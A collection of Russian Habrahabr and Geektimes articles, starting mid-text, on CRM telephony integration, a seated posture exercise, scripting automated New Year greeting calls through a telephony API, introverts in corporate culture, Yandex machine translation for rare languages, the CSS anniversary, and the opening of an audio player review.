клиента на вашем IP-телефоне при входящем звонке. (это пока не во всех интеграциях, но будет во всех) Как интегрироваться? На этом остановимся кратко, так как можно найти пошаговое описание интеграции с каждой CRM в разделе инструкции . Для начала любой интеграции должны быть выполнены 3 базовых требования: Включена и настроена CRM система Включена и настроена облачная АТС Активирована работа API Zadarma (сгенерированы ключи). Далее все по шагам и также довольно просто: войдите в CRM под аккаунтом администратора и перейдите в раздел интеграций (в Битрикс24 раздел «Приложения», а в АмоCRM и ПланФикс раздел «Интеграции»). Найдите интеграцию с Zadarma и нажмите «Установить» либо «Регистрация» либо «Активировать». Единственное что нестандартно, для ПланФикс нужно скопировать ключи и пути, для Битрикс24 и АмоCRM они будут скопированы автоматически. Интеграция активна! Осталось ее настроить: главное, что не можем сделать за вас — это определить у какого сотрудника CRM какой внутренний номер в АТС. Для Битрикс24 также нужно установить Zadarma в «Настройке номеров по умолчанию». Дополнительные настройки: в Битрикс24 и AmoCRM можно включать и выключать такие функции, как направление звонка на ответственного менеджера (если в ней нет необходимости лучше выключить), а также создание лидов/сделок при звонках. Использование интеграции Итак, что вы получили в результате? Теперь вы можете звонить из CRM: При входящих звонках вы получите уведомление с данными клиента: А если у вас включены дополнительные опции, то сможете создавать лиды и отправлять звонок на ответственного менеджера (а также отображать название клиента в IP-телефоне). Что если CRM нет в списке? Если вы клиент CRM системы, которой нет в списке, напишите нам об этом (например, тут или по почте или в службу поддержки) и мы учтем ваше пожелание. Также полезно, если вы сообщите о вашем пожелании провайдеру вашей CRM, думаем и они будут рады сотрудничать. Если вы разработчик CRM, тем более напишите нам на имейл manage@zadarma…. С радостью обсудим все варианты интеграции и ее реализацию. Тем более, для ускорения и упрощения интеграции значительно доработан API . (Например, увеличен список возможных уведомлений который позволяет интегрировать CRM намного быстрее)
https://habrahabr.ru/company/zadarma/blog/316592/
habrahabr
Проприоцепция для неспециалистов. Часть 2: Ровная спина сидя за 2 минуты
['соматика', 'дмитрий спицын', 'осанка', 'уроки']
В прошлой статье вы узнали о том, как найти своё ощущение ровной спины стоя без внешних ориентиров, только ориентируясь на проприоцептивные сигналы. Сейчас пришло время найти свое ровное...
В прошлой статье вы узнали о том, как найти своё ощущение ровной спины стоя без внешних ориентиров, только ориентируясь на проприоцептивные сигналы. Сейчас пришло время найти свое ровное положение на стуле. Осанка человека не является чем-то статическим, требующим жёсткого соблюдения. Урок в конце данной статьи позволит вам приобрести один из навыков динамического сидения на стуле. Очень часто ко мне на приём приходят практически идеально ровные люди. Первоначальная реакция на них: «Что при такой осанке может болеть? Пришёл не по адресу – иди к другому доктору». На поверку оказывается, что ровная спина – единственное положение тела, в котором боли позволяют передвигаться этому человеку. Ровное положение достигается таким большим напряжением мышц, что невозможно нормально наклониться, повернуться, легко сесть и встать. В то же время, десятки кривых спин на профосмотрах совершенно не приносят беспокойства их владельцам. Страшные изменения в позвоночнике не дают болей вне обострения. В чём же дело? Вопрос заключается в том, как человек находит своё положение в пространстве относительно рабочего окружения. Сколиотическая осанка для фрезеровщика или токаря, сутулая осанка для человека, работающего за ноутбуком – это функциональное положение, позволяющее снизить нагрузку на тело при нарушении требований эргономики рабочего места. Проблема с болями возникает лишь тогда, когда человек в любой ситуации сохраняет одну и ту же осанку. Перенапряженные мышцы, со временем, приводят к появлению хронических болей. Итак, как найти свое функционально выгодное положение сидя на стуле, которое внешне будет оценено как «ровная спина»? Урок – ровная спина сидя за 2 минуты Усядьтесь на середину сиденья стула так, чтобы коленные и тазобедренные суставы образовали угол около 90°, посмотрите на себя в зеркало или попросите сфотографировать себе в профиль. Ситуация 1. Почувствуйте седалищные кости – это те кости, на которые приходится опора тела на сиденье стула в положении сидя. Перекатите таз по стулу вперёд-назад, чтобы лучше почувствовать эту опору. Попытайтесь определить, где находится центр тяжести вашего тела во время перекатов. Остановитесь, представьте вертикальную плоскость, проходящую через седалищные кости, и разделяющую ваше тело на переднюю и заднюю части. Заметьте, насколько выровнено ваше тело относительно этой плоскости (может голова смещена вперёд или назад, может, есть прогиб в пояснице, может, чувствуется выпирание грудного отдела позвоночника и лопаток, может, ничего не ощущается). Ситуация 2. Попробуйте медленно и плавно слегка перекатывать таз вперёд и назад по стулу так, чтобы при перекате вперёд центр тяжести уходил вперёд от вертикальной плоскости, проходящей через седалищные кости, а при перекате назад – смещался назад. Постарайтесь соблюдать ровную дугу в теле от копчика до макушки, когда делаете перекаты. Каждый раз уменьшайте объем перекатов, следя за тем, чтобы центр тяжести уходил вперёд и назад от вертикальной плоскости на одинаковое расстояние. Как только колебания центра тяжести во время перекатов остановятся в нейтральной точке, проверьте свои ощущения от нового положения тела, посмотрите на себя в зеркало или попросите сделать ещё одно фото себя в профиль. Оцените результат. P.S. В следующей статье разберём еще один момент навыка динамического сидения на стуле. Найти все уроки соматики на Гиктаймсе вы можете кликнув на метку " соматика " в конце статьи.
https://geektimes.ru/post/283840/
habrahabr
Как поздравить клиентов с Новым Годом?
['sip', 'call-центр', 'продажи', 'обзвон', 'api']
Наступают новогодние праздники – пора активных продаж и гуляний. Новогоднее поздравление – хороший способ напомнить о себе своим клиентам, который воспринимается позитивно. Как выделиться...
Наступают новогодние праздники – пора активных продаж и гуляний. Новогоднее поздравление – хороший способ напомнить о себе своим клиентам, который воспринимается позитивно. Как выделиться среди кучи информационного спама? Интересным вариантом может оказаться телефонное поздравление. Особенно, если автоматизировать этот процесс и не привлекать дополнительных операторов для этой задачи. Мы хотим минимизировать затраты и максимально автоматизировать процесс. Для этого нам понадобится сервис, позволяющий совершать вызовы в автоматическом режиме. Подойдет любой сервис с достаточно развитым функционалом. В статье примеры будут даны для этого API . Зачем автоматизировать? Ведь общение с живым человеком дает больший результат! Дело в том, что это поздравление, а не прямая продажа. И стоимость такого поздравления будет на порядок ниже и занимает меньше времени, чем ручной обзвон базы клиентов. Сначала нужно подготовить сообщение. Здравствуйте %clientname%! Компания Название Компании поздравляет Вас с наступающим Новым Годом! В новом году желаем Вам успеха и процветания! В качестве подарка предлагаем Вам бесплатный сувенир! Нажмите цифру 1 и мы расскажем Вам, где вы можете забрать Ваш подарок. Из данного сообщения видно, что он содержит меняющуюся часть для каждого сообщения – %clientname%. Вообще, общение с клиентом по имени настраивает его гораздо позитивнее. При экспериментах выяснилось, что качество воспроизведения всей фразы целиком – среднее. Было решено разбить ее на две части: «Здравствуйте %clientname%!» и все остальное. Вторая часть фразы не меняется – ее записываем на диктофон голосом, максимально близким к тому, который будет произносить первую часть. Далее создаем IVR меню и добавляем в него вторую часть фразы. При нажатии на цифру 1 соединяем с операторами. Используем PowerShell для тестирования. Если в вашей системе он не установлен, то взять его можно здесь . Протестируем в консоли PowerShell: $web = New-Object System.Net.WebClient $url = 'https://digitoffice.ru/api2/dsk3z6r3drfxp4ghyua9kgsedk/initCall?to=79xxxxxxxxx&cid=7yyyyyyyyyy&ivr=menu1&phrase_params=5,1,0.9&phrase=Здравствуйте Александр!' $web.DownloadString($url) Или в консоли BASH wget -O - "https://digitoffice.ru/api2/dsk3z6r3drfxp4ghyua9kgsedk/initCall?to=$number&cid=70000000002&ivr=menu1&phrase=Здравствуйте $name!" 2>/dev/null , где 79xxxxxxxxx – куда звоним, 7yyyyyyyyyy – телефон вашего call центра. С этого номера будет поступать звонок и на него будут перезванивать по пропущенным вызовам. Входящие на этот номер так же можно передавать на голосовое меню menu1. Далее подготавливаем базу для автоматического обзвона. Подготовить ее можно, например в Excel. В первом столбце пишем номер телефона, во втором имя клиента. Далее экспортируем базу в формате csv. База должна получиться в таком виде: 79000000001;Александр 79000000002;Валентина 79000000003;Сергей Михайлович ... Далее запускаем автообзвон небольшим скриптом на PowerShell. Данный скрипт можно сохранить в файл, например call.ps1 или просто скопировать и вставить в окно PowerShell. Главное указать свой офисный номер, название голосового меню и APIkey, а так же, убедиться что файл phones.csv находится в этом же каталоге: $web = New-Object System.Net.WebClient Import-Csv -Delimiter ';' -Header phone, name “phones.csv” | ForEach-Object { # process line $url = 'https://digitoffice.ru/api2/dsk3z6r3drfxp4ghyua9kgsedk/initCall?cid=70000000002&ivr=menu1&phrase_params=5,1,0.9&to=' + $_.phone + '&phrase=Здравствуйте ' + $_.name + '!' $web.DownloadString($url) echo $_ >> log.txt Start-Sleep -Seconds 3 } Или скрипт на BASH #!/bin/sh cat $1 | while IFS=';' read number name ; do echo $name $number wget -O - "https://digitoffice.ru/api2/dsk3z6r3drfxp4ghyua9kgsedk/initCall?to=$number&cid=70000000002&ivr=menu1&phrase_params=5,1,0.9&phrase=Здравствуйте $name!" 2>/dev/null echo $number » dial.txt sleep 3 done Сохраняем скрипт в call.sh , делаем файл исполняемым chmod +x call.sh запускаем командой ./call.sh phones.csv Командой Start-Sleep/sleep регулируем размер паузы между вызовами. Длительность паузы зависит от размера вашей клиентской базы и количества операторов, принимающих звонки. Саму базу клиентов лучше разбить на несколько частей и запускать их вручную – проще будет контролировать процесс. Вот таким не хитрым способом можно организовать поздравление своих клиентов. P.S. Всех с наступающим Новым Годом!
https://habrahabr.ru/post/317852/
habrahabr
Как выжить в условиях корпоративной культуры, если ты — программист-интроверт
['1cloud', 'корпоративная культура', 'интроверты']
Современный мир корпораций создает идеальные условия для работы и продвижения по службе, если вы амбициозный, активный, общительный, легко заводите новые знакомства, умеете поддерживать отношения с...
Современный мир корпораций создает идеальные условия для работы и продвижения по службе, если вы амбициозный, активный, общительный, легко заводите новые знакомства, умеете поддерживать отношения с руководством … Список можно продолжать и дальше, но уже ясно, что идеальным этот мир могут назвать лишь экстраверты. Как быть тем, кто хорошо разбирается в своем деле, упорно трудится и постоянно самосовершенствуется, но предпочитает не кричать об этом на каждом углу? Сегодня мы будем разбираться с тем, как политика компании может усложнить вам жизнь, и что делать, если вы считаете себя интровертом. / Фото Francis Bourgouin / CC Существует распространенный стереотип, что большинство программистов немногословны и вообще являются интровертами по своей природе. Такого мнения придерживаются и некоторые ученые, например, немецкий психолог и программист Тимо Гнамбс (Timo Gnambs) провел исследование , где связал склонность к программированию с некоторыми чертами характера, среди которых есть интроверсия. Возможно, поведение программистов связано со спецификой работы — необходимость сосредоточиться на решении какой-либо проблемы объясняет, почему программисты часто ведут себя чрезвычайно «тихо». Кроме того, чтобы понять поставленную задачу, программист должен внимательно слушать ( немного об этом на Quora ), а не болтать. Однако существует и другое мнение: чтобы выжить в реалиях современных корпораций, программистам необходимы черты экстравертов. Особенно если вы рассчитываете на карьерный рост. Речь идет о том, что общение с вышестоящим руководством делает специалиста более «заметным», несмотря на уровень знаний и опыта. Каждый из вас знает множество таких примеров и не только из сферы программирования. Джеффри Нельсон (Jeffrey Nelson), разработчик Google Chrome, считает, что самый яркий пример в этой ситуации — сам Стив Джобс, который «не написал ни строчки кода с 1978», и достиг не просто карьерного роста, но и мировой известности. В то же время далеко не все знают, например, Денниса Ритчи (Dennis Ritchie), который принимал участие в разработке C и Unix. Как корпоративная культура усложняет жизнь Очень часто корпоративная культура или само устройство офиса рассчитана на экстравертов. Для интроверта уже само описания вакансий — боль. Обычно они выглядят примерно так: «Требуется увлеченный и амбициозный человек, способный раскрыть свои таланты в нашем творческом коллективе». Причем неважно, ищет ли компания программиста или продажника, формулировки будут примерно одинаковыми. Совсем недавно мы заметили материал на Хабре, в котором автор делился опытом переезда в нидерландскую IT-компанию. Лозунг в этой компании звучал так: «Друзья. Открытость, Честность, Прямота». Возникает вопрос, насколько новичку-интроверту реально влиться в такой коллектив, где все сразу должны быть «друзьями». Автор также рассказывает о встречах, где члены команды должны оценивать друг друга. Причем оценки не просто выставляются, но и активно обсуждаются, в то время как «жертва» должна смиренно сидеть, слушать все с дружелюбной улыбкой и активно интересоваться, как улучшить свою работу. Согласитесь, сомнительное удовольствие для интроверта. Открытый офис и ежедневные собрания, требование постоянного выражения своего дружелюбного настроя (еще нужно догадаться, что именно от вас хотят) и оценка количества времени, которое вы проводите в офисе. Чего только не придумают для «повышения уровня продуктивности» команды, хотя иногда достаточно простой возможности поработать пару дней из дома (пригодится и для экстравертов). Еще одна практика, существующая в IT-компаниях, — mob-программирование. Людям-интровертам может быть достаточно сложно приспособиться к этому способу работы. Им бывает проще работать в маленьких группах или отдельно, и они показывают лучшие результаты работы, когда сами работают с кодом, а не когда им приходится объяснять и доказывать правильность своей точки зрения. С другой стороны, такая работа, так же как и парное программирование, дает возможность получить больше знаний, побороть свои страхи и быстрее влиться в коллектив. Менеджер — всему голова? Поспособствовать адаптации и позаботиться о комфортной работе каждого сотрудника может менеджер, который должен понимать, кому лучше работать в команде, а кому — в гордом одиночестве. Иногда стоит отменить ежедневные собрания, которые для большинства являются лишь тратой времени. Индивидуальный подход позволяет общаться с программистами по отдельности, что повышает уровень комфорта для них и степень осведомленности менеджера, который успевает получше разобраться в проблемах специалиста. Менеджер, который понимает интровертивный склад характера своего подчиненного и не пытается контролировать каждый шаг — большая редкость, и обычно ему нет дела до того, предпочитаете вы работать сами по себе или в команде, комфортно ли вам выступать на публике и выслушивать критику при всех или для вас легче урегулировать рабочие вопросы в индивидуальном порядке. Более того, нужно быть готовым к тому, что менеджеры вообще редко идут навстречу и могут перекладывать всю вину на исполнителей, независимо от того, насколько адекватной была поставленная задача и насколько подробно ее объяснили. Но не все корпорации — зло. Часто дело бывает в разном восприятии. Где-то разрешается работать в тапочках и нет строгого дресс-кода, что создает комфортную и даже домашнюю атмосферу. Однако другим может больше нравится формальных подход, который позволяет оставаться сосредоточенным на работе. Только вам решать, смириться или найти более подходящую компанию. Третий вариант — изменить себя и приспособиться к корпоративной среде. Например, можно постепенно расширять круг общения, завоевывать авторитет, предлагая помощь коллегам и самому просить о помощи, чтобы установить контакт. Если ваши установки и характер не совпадают с политикой компании, это не значит, что вы обречены на провал. Например, Филипп Ричард (Phillip Richard), создатель сайта WorkingQuietly.com уволился из IT-компании, ориентированной на экстравертов, и создал свой бизнес (см. пункт «Should I just fake it till I make it?» в источнике ). Поэтому иногда стоит просто сменить место работы и мир заиграет яркими красками. В совсем сложных случаях может помочь смена профессии, поэтому интровертам, которые вообще не любят общаться с людьми, рекомендуем ознакомиться с подборкой «лучших профессий для людей, которые ненавидят людей».
https://habrahabr.ru/company/1cloud/blog/317940/
habrahabr
Как Яндекс научил машину самостоятельно создавать переводы для редких языков
['машинный перевод', 'яндекс', 'нейронные сети', 'лингвистика']
В одной только России насчитывается более сотни языков, многие из которых являются родными для десятков и сотен тысяч человек. Причем часть из них ограничена в употреблении или даже находится на...
В одной только России насчитывается более сотни языков, многие из которых являются родными для десятков и сотен тысяч человек. Причем часть из них ограничена в употреблении или даже находится на грани исчезновения. Машинный перевод мог бы помочь в сохранении этих языков, но для этого надо решить главную проблему всех подобных систем – отсутствие примеров для обучения. Яндекс работает над технологией машинного перевода с 2011 года, и сегодня я расскажу о нашем новом подходе, благодаря которому становится возможным создать переводчик для тех языков, для которых ранее это было сделать затруднительно. Правила против статистики Машинный перевод, то есть автоматический перевод с одного человеческого языка на другой, зародился в середине прошлого века. Точкой отсчета принято считать Джорджтаунский эксперимент, проведенный 7 января 1954 года, в рамках которого более 60 фраз на русском языке были переведены компьютером на английский. По сути, это был вовсе и не эксперимент, а хорошо спланированная демонстрация: словарь включал не более 250 записей и работал с учетом лишь 6 правил. Тем не менее результаты впечатлили публику и подстегнули развитие машинного перевода. В основе таких систем лежали словари и правила, которые и определяли качество перевода. Профессиональные лингвисты годами работали над тем, чтобы вывести всё более подробные и всеохватывающие ручные правила (по сути, регулярные выражения). Работа эта была столь трудоемкой, что серьезное внимание уделялось лишь наиболее популярным парам языков, но даже в рамках них машины справлялись плохо. Живой язык – очень сложная система, которая плохо подчиняется правилам, постоянно развивается и практически каждый день обогащается новыми словами или конструкциями. Ещё сложнее описать правилами соответствия двух языков. Одни и те же слова могут иметь совершенно разные переводы в зависимости от контекста. Да и целые фразы могут иметь свой устойчивый перевод, которому лучше соответствовать. Например, " Нельзя так просто войти в Мордор ". Единственный способ машине постоянно адаптироваться к изменяющимся условиям и учитывать контекст – это учиться на большом количестве актуальных текстов и самостоятельно выявлять закономерности и правила. В этом и заключается статистический подход к машинному переводу. Идеи эти известны с середины 20 века, но особого распространения они не получили: машинный перевод, основанный на правилах, работал лучше в условиях отсутствия больших вычислительных мощностей и обучающих баз. Грубая сила компьютеров – это не наука Новая волна развития статистического подхода началась в 80-90-х годах прошлого века. Компания IBM Research получила доступ к большому количеству документов канадского парламента и использовала их для работы над системой проверки правописания. И для этого они применили достаточно интересный подход, известный под названием noisy channel model. Смысл его в том, что текст А рассматривается как текст Б, но с ошибками. И задача машины – устранить их. Обучалась модель на тысячах уже набранных документах. Подробнее о noisy channel можно почитать в других постах на Хабре , здесь же важно сказать, что этот подход хорошо показал себя для проверки правописания, и группа сотрудников IBM решила попробовать его и для перевода. В Канаде два официальных языка (английский и французский), поэтому с помощью переводчика они надеялись уволить половину операторов сократить объем вводимого вручную текста. А вот со временем были проблемы, поэтому им пришлось дождаться того момента, когда руководитель ушел в отпуск, и появилась возможность творчески отнестись к дедлайнам и заняться исследованием. Результаты их работы были опубликованы , но впечатлили они не всех. Организаторы конференции по компьютерной лингвистике COLING написали разгромный отзыв: Результат оказался хуже, чем у лучших на тот момент систем, основанных на правилах, но сам подход, предполагавший сокращение ручного труда, заинтересовал исследователей со всего мира. И главная проблема, которая стояла перед ними, заключалась в отсутствии достаточного количества примеров переводов для обучения машины. В ход шли любые материалы, которые удавалось найти: базы международных документов ООН, документации, справочники, Библия и Коран (которые переведены практически на все языки мира). Но для качественной работы нужно было больше. Поиск В интернете каждый день появляются сотни тысяч новых страниц, многие из которых переводятся на другие языки. Этот ресурс можно использовать для обучения машины, но добыть его сложно. Таким опытом обладают организации, которые индексируют интернет и собирают данные о миллиардах веб-страниц. Среди них, например, поисковые системы. Яндекс вот уже пять лет работает над собственной системой машинного перевода, которая обучается на данных из интернета. Ее результаты используются в Переводчике, Поиске, Браузере, Почте, Дзене и во многих других сервисах. Обучается она следующим образом. Изначально система находит параллельные тексты по адресам документов — чаще всего такие адреса различаются только параметрами, например, «en» для английской версии и «ru» для русской. Для каждого изученного текста система строит список уникальных признаков. Это могут быть редко используемые слова, числа, специальные знаки, находящиеся в тексте в определённой последовательности. Когда система набирает достаточное количество текстов с признаками, она начинает искать параллельные тексты ещё и с их помощью — сравнивая признаки новых текстов и уже изученных. Чтобы переводчик соответствовал современным стандартам качества, система должна изучить миллионы фраз на обоих языках. Поисковые технологии могут найти их, но только для наиболее популярных направлений перевода. Для всех остальных можно пытаться по старинке обучаться только на Википедии или Библии, но качество перевода откатывается на десятилетия назад. Можно подключить краудсорсинг ( Яндекс.Толока или Amazon Mechanical Turk) и усилиями большого количества людей из разных стран собрать примеры переводов. Но это долго, дорого и не всегда эффективно. Хотя мы и стараемся использовать краудсорсинг там, где это возможно, нам удалось найти альтернативное решение. Язык как совокупность моделей В основе статистического перевода долгое время лежали исключительно лексические модели, т.е. такие модели, который не учитывают родственные связи между различными словами и другие лингвистические характеристики. Проще говоря, слова «мама» и «маме» – это два совершенно разных слова с точки зрения модели, и качество перевода определялось только наличием подходящего примера. Несколько лет назад в индустрии появилось понимание, что качество статистического машинного перевода можно улучшить, если дополнить сугубо лексическую модель еще и моделями морфологии (словоизменение и словообразование) и синтаксиса (построение предложений). Может показаться, что речь идет о шаге назад в сторону ручных правил лингвистов, но это не так. В отличие от систем, основанных на ручных правилах, модели морфологии и синтаксиса можно формировать автоматически на основе все той же статистики. Простой пример со словом «мама». Если скормить нейронной сети тысячи текстов, содержащих это слово в различных формах, то сеть «поймет» принципы словообразования и научится предсказывать правильную форму в зависимости от контекста. Переход от простой модели языка к комплексной хорошо отразился на общем качестве, но для ее работы по-прежнему нужны миллионы примеров, которые трудно найти для небольших языков. Но именно здесь мы вспомнили о том, что многие языки связаны между собой. И этот факт можно использовать. Родственные связи Мы начали с того, что отошли от традиционного восприятия каждого языка как независимой системы и стали учитывать родственные связи между ними. На практике это означает вот что. Если у нас есть язык, для которого нужно построить перевод, но данных для этого недостаточно, то можно взять другие, более «крупные», но родственные языки. Их отдельные модели (морфология, синтаксис, лексика) можно использовать для заполнения пустот в моделях «малого» языка. Может показаться, что речь идет о слепом копировании слов и правил между языками, но технология работает несколько умнее. Предлагаю рассмотреть ее сразу на реальном примере одного очень популярного в крайне узких кругах языка. Папьяменто Папьяменто – это родной язык населения Арубы , Кюрасао и Бонэйр, на котором говорят около 300 тыс. человек. В том числе один из наших коллег, который родился на Арубе. Он и предложил нам стать первыми, кто поддержит папьяменто. Про эти острова мы знали лишь по Википедии, но такое предложение упустить не могли. И вот почему. Когда людям приходится разговаривать на языке, который ни для кого из них не является родным, появляются новые языки, которые называются пиджинами. Чаще всего пиджины возникали на островах, которые захватывали европейцы. Колонизаторы свозили туда рабочую силу с других территорий, и этим людям, не знавшим языков друг друга, приходилось как-то общаться. Единственным их общим языком был язык колонизаторов, усваиваемый обычно в очень упрощенном виде. Так возникло множество пиджинов на основе английского, французского, испанского и других языков. Потом люди передавали этот язык своим детям, и для тех он становился уже родным. Пиджины, которые стали для кого-то родными, называются креольскими языками. Папьяменто – креольский язык, который возник, по-видимому, в XVI веке. Большая часть его лексики имеет испанское или португальское происхождение, но есть слова и из английского, голландского, итальянского, а также из местных языков. А поскольку ранее мы еще не испытывали нашу технологию на креольском языке, то ухватились за этот шанс. Моделирование любого нового языка всегда начинается с построения его ядра. Каким бы «малым» ни был язык, у него всегда есть уникальные особенности, которые отличают его от любого другого. Иначе бы его просто нельзя было отнести к самостоятельному языку. Это могут быть свои уникальные слова или какие-то правила словообразования, которые не повторяются в родственных языках. Эти особенности и составляют то ядро, которое в любом случае нужно моделировать. И для этого вполне хватает малого количества примеров перевода. В случае с папьяменто в нашем распоряжении был перевод Библии на английский, испанский, голландский, португальский и, собственно, папьяменто. Плюс небольшое количество документов из сети с их переводом на один из европейский языков. Начальный этап работы над папьяменто ничем не отличался от создания переводчика для любого большого языка. Загружаем в машину все доступные нам материалы и запускаем процесс. Она проходит по параллельным текстам, написанным на разных языках, и строит распределение вероятностей перевода для каждого найденного слова. Кстати, сейчас модно говорить о применении нейронных сетей в этом процессе, и мы тоже умеем это делать, но зачастую более простых инструментов вполне хватает. Например, для эльфийского языка (о нем мы поговорим чуть позже) мы изначально построили модель с применением нейронной сети, но в конечном счете запустились без нее. Потому что более простой статистический инструмент показал результат не хуже, а усилий потребовал меньше. Но мы отвлеклись. Система, глядя на параллельные тексты, пополняет свой словарный запас и запоминает переводы. Для больших языков, где примеров миллионы, больше ничего делать и не надо – система найдет не только все возможны слова, их формы и запомнит их переводы, но и учтет разные случаи их применения в зависимости от контекста. С небольшим языком сложнее. Ядро мы смоделировали, но примеров недостаточно для полного покрытия всех слов, учета словообразования. Поэтому технология, которая лежит в основе нашего подхода, работает несколько глубже с уже имеющимися примерами и использует знания о других языках. Например, согласно морфологии испанского языка, множественное число образуется с помощью окончаний -s/-es. Машина, встречаясь с множественным числом в испанском переводе, делает для себя вывод, что это же слово в переводе на папьяменто, скорее всего, написано во множественном числе. Благодаря этой особенности, автоматический переводчик вывел для себя правило, что слова в папьяменто с окончанием -nan обозначают множественное число, и если его перевода не найдено, то стоит отбросить окончание и попробовать найти перевод для единственного числа. Аналогично для многих других правил словоизменения. С морфологией стало понятнее, но что делать, если даже начальная форма слова машине еще не известна? Мы помним, что большинство всех слов папьяменто произошло от европейских аналогов. Допустим, что наш автоматический переводчик сталкивается с неизвестным словом «largu» в папьяменто и хочет найти перевод на английский. Машина замечает, что это слово очень похоже на слово «largo» как из испанского, так и из португальского языков. Вот только значения этих слов не совпадают («длинный» и «широкий» соответственно). И на какой язык ориентироваться? Система машинного перевода решает эту проблему следующим образом. Она строит оба варианта перевода, а затем, опираясь на миллионы изученных английских документов, делает вывод, какой из вариантов больше похож на естественный текст. Например, «long tail queries» (длинный хвост запросов) больше похож на правду, чем «wide tail queries» (широкий хвост запросов). Так она запоминает, что в данном конкретном случае слово «largu» произошло из испанского, а не из португальского. И так для большинства неизвестных слов – машина автоматически выучит их без готовых примеров и ручного вмешательства. В результате, благодаря заимствованиям из более крупных языков, нам удалось построить перевода с/на папьяменто на таком объеме примеров, на которым классический статистический машинный перевод просто не справился бы. Горномарийский Другой пример. Мы регулярно добавляем поддержку языков народов России и в какой-то момент дошли до марийского, в котором с самого появления письменности (в XIX веке) различались два литературных варианта: луговой (восточный) и горный (западный). Они отличаются лексически. Тем не менее языки очень похожи и взаимопонимаемы. Первый печатный текст на марийском языке – «Евангелие» 1821 года – был горномарийским. Однако из-за того, что луговых марийцев намного больше, марийским языком «по умолчанию» обычно считается луговой. По этой же причине текстов на луговом марийском гораздо больше, и у нас не возникло проблем с классическим подходом. А вот для горного мы применили нашу технологию с заимствованиями. За основу мы взяли уже готовый луговой вариант, а словарный запас корректировали с помощью существующих словарей. Причем пригодился и русский язык, который за многие годы достаточно сильно повлиял на марийский. Идиш Идиш возник в X-XIV веках на основе верхненемецких диалектов — тех же, которые легли в основу современного немецкого языка. Поэтому очень многие слова в идише и немецком одинаковы или очень похожи. Это позволило нам использовать вспомогательные модели лексики и морфологии, собранные по данным для немецкого языка. При этом письменность в идише основана на еврейском алфавите, поэтому для ее моделирования использовался иврит. По нашим оценкам, перевод с/на идиш, дополненный заимствованиями из иврита и немецкого, отличается более высоким качеством в сравнении с классическим подходом. Эльфийский В нашей команде любят произведения писателя Толкина, поэтому перевод синдарина (один из языков эльфов Средиземья) был лишь вопросом времени. Как вы понимаете, язык редкий, и его носителей встретить не так уж и легко. Поэтому пришлось обратиться к лингвистическим исследованиям творчества писателя. Сочиняя синдарин, автор основывался на валлийском языке, и в нем есть характерные чередования начальных согласных. Например, «руна» будет «certh», а если перед ним идет определенный артикль, то получится «i gerth». Многие слова при этом заимствовались из ирландского, шотландского и валийского. К счастью, в свое время автор составил не только подробный словарь, но и правила транслитерации слов из существующих языков в синдарин. Всего этого оказалось вполне достаточно для создания переводчика. Примеры языков, где мы использовали новый подход, можно было бы продолжать. К текущему моменту мы успели успешно применить технологию еще и в башкирском, узбекском, маратхи и непальском. Многие из этих языков даже формально нельзя назвать «малыми», но особенность нашего подхода именно в том и заключается – использовать его можно везде, где явно прослеживаются родственные связи. Для небольших языков он, в принципе, позволяет создать переводчик, для других – поднять планку качества. И это ровно то, чем мы и планируем заниматься в ближайшем будущем.
https://habrahabr.ru/company/yandex/blog/317910/
habrahabr
CSS 20 лет
['css', 'верства', 'веб-дизайн', 'стандарт', 'таблицы']
Двадцать лет назад, 17 декабря 1996 года международный консорциум W3.org опубликовал рекомендации по использованию CSS Level 1. Этот момент официально считается днем рождения Cascading Style...
Двадцать лет назад, 17 декабря 1996 года международный консорциум W3.org опубликовал рекомендации по использованию CSS Level 1. Этот момент официально считается днем рождения Cascading Style Sheets — формального языка описания внешнего вида страницы с использованием языка разметки (HTML, XHTML, XML и так далее). Кембридж, Массачусетс, США — 17 декабря 1996 — Всемирный консорциум Wide Web (W3C) сегодня опубликовал рекомендацию для стилей веб-страниц. Мы рекомендуем CSS level 1 (CSS1). Он дает веб-дизайнерам мощный набор инструментов, который поможет им с выбором таких вещей как шрифты, цвета и поля страницы. Спустя некоторое время CSS стал стандартным инструментом веб-разработки, при помощи которого многие до сих пор верстают страницы веб-сайтов. До начала повсеместного использования CSS страницы веб-сайтов верстали при помощи таблиц . Некоторые веб-дизайнеры и верстальщики, заставшие тот период, называют его «темными веками», и вполне заслужено. В девяностых веб, относительно того, чем он является сейчас, был в зачаточном состоянии, но уже развивался более чем активно. Примерно тогда же начались войны браузеров , каждый из которых отображал одинаково сверстанную страницу по-разному, что приводило к путанице и приступам уныния в рядах веб-дизайнеров того времени. Выравнивание в процентах и пикселях, использование JavaScript в фронт и бэк-энде в попытке обойти ограничения HTML, что привело к массовому появлению «ленивых» поп-апов, наслаивающихся поверх страницы, использование Flash для создания в нем всей страницы целиком, которая загружалась браузером пользователя — каждый использовал то, что ему больше нравилось или на что хватало сил и навыков. Благодаря же CSS состоялась эволюция верстки при помощи таблиц к вёрстке блочным методом. Фактическим стартом CSS можно назвать 1998 год: именно тогда он стал массово использоваться веб-дизайнерами. С приходом CSS отпала необходимость в столь частом использовании JavaScript. Конечно, потребовалось время, для того, чтобы все браузеры стали корректно работать с новой технологией, да и самому CSS1 было далеко до универсального инструмента веб-дизайнера. Немаловажную роль в том же 1998 году вновь сыграл W3C-консорциум, выпустив рекомендации к использованию HTML 4.0, в котором была реализована полная поддержка CSS. Тогда же, в мае 1998 была выпущена спецификация по CSS2. Самой важной особенностью CSS относительно HTML можно назвать возможность отображения различных страниц по одному адресу для разных устройств из-за возможности принципиального разделения содержания и представления страницы. Возможно, разработчики CSS даже не догадывались, насколько актуальной станет эта возможность спустя годы. С юбилеем, CSS!
https://habrahabr.ru/post/317942/
habrahabr
Прикоснуться к прекрасному: портативный плеер Astell&Kern AK380 и наушники Angie II
['astell&kern', 'AK380', 'Angie II']
Привет, Гиктаймс! Настоящие ценители звука знают, что 380-ым бывает не только Airbus (кстати, самый большой пассажирский самолёт в мире), но и настоящий флагман среди аудиоплееров от Astell&Kern. В...
